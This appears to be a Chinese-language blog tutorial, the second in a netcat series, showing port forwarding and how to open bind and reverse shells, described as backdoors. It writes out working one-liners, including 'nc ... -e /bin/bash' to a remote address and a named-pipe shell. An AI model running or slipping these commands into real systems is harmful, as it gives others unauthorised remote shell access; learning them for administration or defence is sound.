歡迎轉載,但請在開頭或結尾注明原文出處【blog.chaosjohn.com】
前言
昨日寫 TCP/IP 瑞士軍刀 - netcat (篇一) 的時候,翻閱了大量的資料,瀏覽器的標簽也都開滿了。所以趁大腦還依舊活躍,今天乘勝追擊寫個 篇二,仍然是以 GIF 動圖演示其案例。
補上篇
上篇里有提到,如果只用 netcat 進行端口轉發(fā),必須用到 GNU 版本(因其擁有 -c / -e 參數(shù)):
-
-c shell commands調用 /bin/sh 來執(zhí)行命令 -
-e filename通過程序文件路徑來執(zhí)行程序
上案例:
- 遠端執(zhí)行
nc -l -k -p 8080 -c "nc 192.168.1.21 22",即可將8080端口轉發(fā)到192.168.1.21:22 - 本地執(zhí)行
ssh 10.144.137.114 -p 8080即可測試轉發(fā)成功

反彈 Shell
netcat 在網(wǎng)絡應用中,很受黑客的喜愛,反彈 Shell 是其經(jīng)常使用的場景。
什么是 反彈 Shell 呢?給個一句話解釋:在目標機器上,彈一個 Shell 出來作為其后門,與本地機器進行通信,即 本地機器 可直接訪問 目標機器 的 Shell。
而 反彈 Shell 也分為兩種:
-
正向 Shell,又名bind shell -
反向 Shell,又名reverse shell
因為要彈個 Shell 出來,所以一般都需要訪問到 Shell,/bin/sh 或 /bin/bash 或 /bin/zsh 都可以。既然用到外部 Shell 程序,那一般都是使用 GNU 版本的 netcat(用到其 -c / -e 參數(shù))
正向 Shell
先彈后連接,即讓 目標機器 先彈個 Shell,暴露在某端口,然后 本地機器 連接上 目標機器 該端口,即可訪問目標機器的 Shell。
- 目標機器:
nc -l -p 8080 -e /bin/bash - 本地機器:
nc 10.144.137.114 8080

反向 Shell
先監(jiān)聽后連接,即 本地機器 先監(jiān)聽 目標機器 的某端口,如果 目標機器 在該端口彈出了 Shell,就可立即連接上。
- 本地機器:
nc -v -l -p 8080 - 目標機器:
nc 10.144.247.172 8080 -e /bin/bash

OpenBSD netcat 實現(xiàn)正向 Shell
那如果非要用 OpenBSD 版本的 netcat,搭配什么使用可以反彈 Shell 呢?這里筆者列舉一個列子 - 命名管道(named pipe),又名 FIFO,即 first in first out 先進先出。
- 目標機器先執(zhí)行:
mkfifo /tmp/pipe創(chuàng)建一個命名管道 - 目標機器再執(zhí)行:
cat /tmp/pipe | /bin/bash 2>&1 | nc -l -p 8080 > /tmp/pipe進行反彈 Shell - 本地機器執(zhí)行:
nc 192.168.1.21 8080
命名管道的stdout(標準輸出)通過"|"流向bash
2>&1表示 bash 的stderr(標準錯誤)重定向到stdout(標準輸出)
bash的stdout(標準輸出)通過"|"流向目標機器的 nc進而通過
TCP/UDP 連接流向本地機器的 nc并顯示
本地機器輸入的命令再通過本地機器的 nc流向目標機器的 nc
目標機器的 nc將接收到的命令輸入命名管道至此形成一個完整的循環(huán)

寫在最后
本文演示了用 netcat 實現(xiàn) 端口轉發(fā) 和 反彈 Shell,還有很多案例,等待讀者們去發(fā)掘!